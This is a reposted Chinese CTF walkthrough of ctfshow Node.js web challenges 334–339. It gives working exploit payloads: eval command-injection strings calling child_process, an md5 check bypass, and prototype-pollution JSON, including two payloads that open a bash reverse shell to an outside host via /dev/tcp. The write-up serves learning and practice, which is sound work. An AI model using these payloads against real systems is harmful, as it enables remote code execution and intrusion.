ctfshow-web入门-nodejs系列

news/2024/9/21 4:31:04/文章来源:https://www.cnblogs.com/dghh/p/18334701

web334

下载源码后缀改为zip打开即可

先对源码经行一个简单的分析

login.js// 引入Express框架
var express = require('express');// 创建一个路由实例
var router = express.Router();// 引入用户数据,假设user模块导出的是一个包含用户项的对象
var users = require('../modules/user').items;// 定义一个查找用户的函数,接受用户名和密码作为参数
var findUser = function(name, password){// 使用Array.find方法在用户数据中查找符合条件的用户return users.find(function(item){// 查找用户名为name(转换为大写,排除CTFSHOW)且密码匹配的用户return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};/* 处理登录请求的路由。客户端发送POST请求到这个路由时,会执行以下逻辑 */
router.post('/', function(req, res, next) {res.type('html'); // 设置响应的内容类型为HTML// 假设是一个标志位或秘钥,通常用来做登录成功后的验证或提示var flag = 'flag_here';// 获取当前会话var sess = req.session;// 使用findUser函数查找用户var user = findUser(req.body.username, req.body.password);// 如果找到用户if(user){// 重新生成会话req.session.regenerate(function(err) {if(err){// 如果会话生成失败,返回登录失败的响应return res.json({ret_code: 2, ret_msg: '登录失败'});        }// 设置会话的登录用户信息req.session.loginUser = user.username;// 返回登录成功的响应,并携带flagres.json({ret_code: 0, ret_msg: '登录成功', ret_flag: flag});              });} else {// 如果未找到用户,返回账号或密码错误的响应res.json({ret_code: 1, ret_msg: '账号或密码错误'});}  
});// 导出路由,以便在其他地方使用
module.exports = router;------------
user.jsmodule.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};

比较重要的函数

var findUser = function(name, password){// 使用Array.find方法在用户数据中查找符合条件的用户return users.find(function(item){// 查找用户名为name(转换为大写,排除CTFSHOW)且密码匹配的用户return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
代码解析
函数定义 (findUser):
findUser 是一个匿名函数,被赋值给变量 findUser。它接受两个参数:name(用户名)和 password(密码)。查找用户 (users.find):
users 是一个用户列表,假设是一个数组,其中每个元素都是一个用户对象。
Array.find 方法用于遍历数组中的元素,并返回第一个满足条件的元素。如果没有找到满足条件的元素,则返回 undefined。查找条件 (function(item)):
find 方法中的回调函数会对数组中的每个元素执行一次,它的参数 item 代表当前遍历到的用户对象。
查找条件是:用户名 name 不是字符串 "CTFSHOW",且 item 对象的 username 属性等于 name 参数的全大写形式,并且 password 属性等于传入的 password 参数。

很明显只要登陆成功就给flag
不能用CTFSHOW用户
但是你输入ctfshow也会给你变为CTFSHOW
即可登陆成功

web335

进入后查看源码得到提示

image

很明显提示我们执行命令

官方有很多命令

image

eval=require("child_process").spawnSync('cat',['fl00g.txt']).stdout.toString()
eval=require("child_process").spawnSync('ls',['.']).stdout.toString()
解释
导入 child_process 模块:require("child_process") 用于导入 Node.js 的 child_process 模块。
执行 ls 命令:spawnSync('ls', ['.']) 同步执行 ls 命令,这里的参数 ['.'] 表示列出当前目录(.)的内容。
获取标准输出:.stdout 访问子进程的标准输出,它是一个缓冲区(Buffer)对象。
.toString() 方法将缓冲区转换为字符串,使输出内容可读。
eval=require('child_process').execSync('ls').toString()
eval=require('child_process').execSync('cat fl00g.txt').toString()
这个可以不进行最后的转换
解释:
execSync 返回的是一个 Buffer 对象,Buffer 是 Node.js 中用于处理二进制数据的类。即使不进行转换,也可以直接输出 Buffer 对象,Node.js 会自动将其转换为字符串显示在控制台。
直接输出 Buffer 对象:当你使用 console.log 打印 Buffer 对象时,Node.js 会将其自动转换为字符串形式,并显示在控制台上。这样,你也能看到 ls 命令的执行结果。
为何转换为字符串:虽然 Buffer 对象在控制台上会自动显示为字符串,但在实际的编程中,通常会将 Buffer 转换为字符串以便进行进一步处理。使用 toString() 方法可以确保你得到的是正确编码的字符串,并能够在代码中以字符串的方式进行处理。

web336

把上一题的execSync过滤了
但是还可以用

eval=require("child_process").spawnSync('cat',['fl00g.txt']).stdout.toString()
eval=require("child_process").spawnSync('ls',['.']).stdout.toString()

web337

给了题目

var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;

很明显只要能过

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))
就能拿到flag
a && b && a.length===b.length && a!==b 
这些传数组就行
但是后面
md5(a+flag)===md5(b+flag)需要动动脑子
如果你直接a[]=1&b[]=2
就相当于a=[1]&b=[2]

image

很明显绕不过md5(a+flag)===md5(b+flag)

在 JavaScript 中,当你将一个数组与字符串进行连接时,数组会被隐式转换为字符串。对于数组对象,这种转换会调用数组的 toString() 方法。数组的 toString() 方法会将数组的所有元素转换为字符串并用逗号分隔,然后返回生成的字符串。代码解释
javascript
复制代码
let a = [2];
console.log(a + "flag{xxx}");
数组 a:数组 a 包含一个元素 2。
连接字符串:当数组 a 与字符串 "flag{xxx}" 进行连接时,数组 a 会被转换为字符串 "2"。因此,最终的输出是 "2flag{xxx}"。

当我们传入a[a]=1&b[b]=2
经过

req.query.a
req.query.b

就变成了

{'a':'1'}

image

这样就可以成功绕过

web338

下载源码
看app.py

image

image

image

很明显的原型链污染

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }});

要使secert.ctfshow===36dboy
就可以拿到flag
我们只需要通过user进行污染即可
image

{"a": 1, "__proto__": {"ctfshow": "36dboy"}}

原型链污染的原理看这里和这里

web339

这一题的login.js

if(secert.ctfshow===flag)
而flag的值我们也不知道所以不能像上题一样直接改ctfshow的值来通过了

但是这一题多了一个api.js
里面有一个query是未定义的,其会向其原型找,那么通过污染原型构造恶意代码即可rce。

监听端口
nc -lvvp 9999
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/9999 0>&1\"')"}}

在/login进行污染

image

再访问一下/api

image

即可

image

查看login.js即可
还有一个非预期解

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}
index发包再api发包

这有详解


在更新.....

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/775806.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2021年我因为Tab Session Manager丢失数据,好像是研究过一次leveldb的查看/解码方式 但是当时好像因为时间关系没能成功 / chrome .ldb文件

Default\Local Storage\leveldb .ldb2023年下半年我因为chatmindai修改域名,又研究过一次,因为时间关系也没有细究最近,我想查看一下anki的devtool的Local Storage,即https://ankiweb.net/shared/info/31746032这个插件产生的 C:\Users\xxx\AppData\Local\Anki\QtWebEngine…

联合省选 2024 Day2T1 迷宫守卫 题解

联合省选 2024 Day2T1 迷宫守卫 题解 好像距离联合省选已经半年了,前两天看到这题才想起来改,距离分班已经半年了,也算是好好学了半年了,但是还是那么菜,有点绷不住,感觉不如文化课 后来翻到题解区第二篇题解才知道自己赛时想的反悔贪心其实是正解,但是当时啥也不会,主…

小白程序员也要对世界进行第一次的呐喊!

身为程序员对世界的第一声呐喊——Hello World!新建一个文件夹 新建一个目录,并将其命名为Hello.java(关键一步)注意!文件类型显示的是java文件才成功 (文件的后缀要改为java)双击文件,开始编写(本人使用的是Notepad++进行编写) 输入图片中的代码(全部要用英文输入法…

Django模板、模版语言和静态文件

1. templates模板(html)在app目录下创建一个templates目录,用于存放网页模板利用url返回网页点击查看代码 def user_list(request):return render(request,"user_list.html");输入url地址时,会去app目录下的templates目录下寻找名为user_list的HTML文件(根据app…

Cuberite——低配mc服务器的最佳选择

最近白嫖了一个1h1g的服务器,想拿它来开mc服务器,正当我用mcsmanager开服的时候,突然给我报了一条OutOfMemoryError下面就给大家介绍一下Cubreite Cuberite Cuberite is a Minecraft-compatible multiplayer game server that is written in C++ and designed to be efficie…

一图看懂Git、HTTPS、Docker、k8s和微服务

一图看懂Git、HTTPS、Docker、k8s和微服务

全网最适合入门的面向对象编程教程:29 类和对象的Python实现-断言与防御性编程和help函数的使用

在Python中,断言是一种常用的调试工具,它允许程序员编写一条检查某个条件。本文主要介绍了断言的应用场景和特点以及assert语句的使用,同时介绍了防御性编程和help()函数。全网最适合入门的面向对象编程教程:29 类和对象的 Python 实现-断言与防御性编程和 help 函数的使用…

《NET CLR via C#》---第四章(System.Object,类型转换,is和as,命名空间和程序集,运行时的相互关系)

System.Object CLR要求每个类型最终都从System.Object类型派生。由于所有类型最终都从System.Object派生,所以每个类型的每个对象都保证了一组最基本的方法。公共方法 说明Equals 如果两个对象具有相同的值,就返回trueGetHashCode 返回对象的值的哈希码。如果某个类型的对象要…

笔记:从Aurora 8b/10b 到Aurora 64b/66b (一):64b/66b 基本知识

参考搬运: https://mp.weixin.qq.com/s/ZSNyjpZpimjyxyO9riIRNQ Aurora 64B/66B (xilinx.com) https://docs.amd.com/r/en-US/pg074-aurora-64b66b 8/10:SATA SRIO 64/66:10G以太网 值得注意: 64b/66b 编码在多LANE模式下,EOF(T)仅在一个LANE上出现; 介绍 8B10B的开销比较…

matlab中用plotyy画双纵轴图

clear clcx1 = 1:0.1:6; x2 = 2:0.1:7; y1 = sin(x1); y2 = 0.5*x2; y3 = sin(x1)+x1; y4 = cos(x2)+x2;figure; [hAx,hLine1,hLine2] = plotyy([x1, x2],[y1, y2], [x1, x2],[y3, y4]); hold on; set(hAx(1), YColor, r); % 设置第一条y轴的颜色为红色 set(hAx(2), YColor, b)…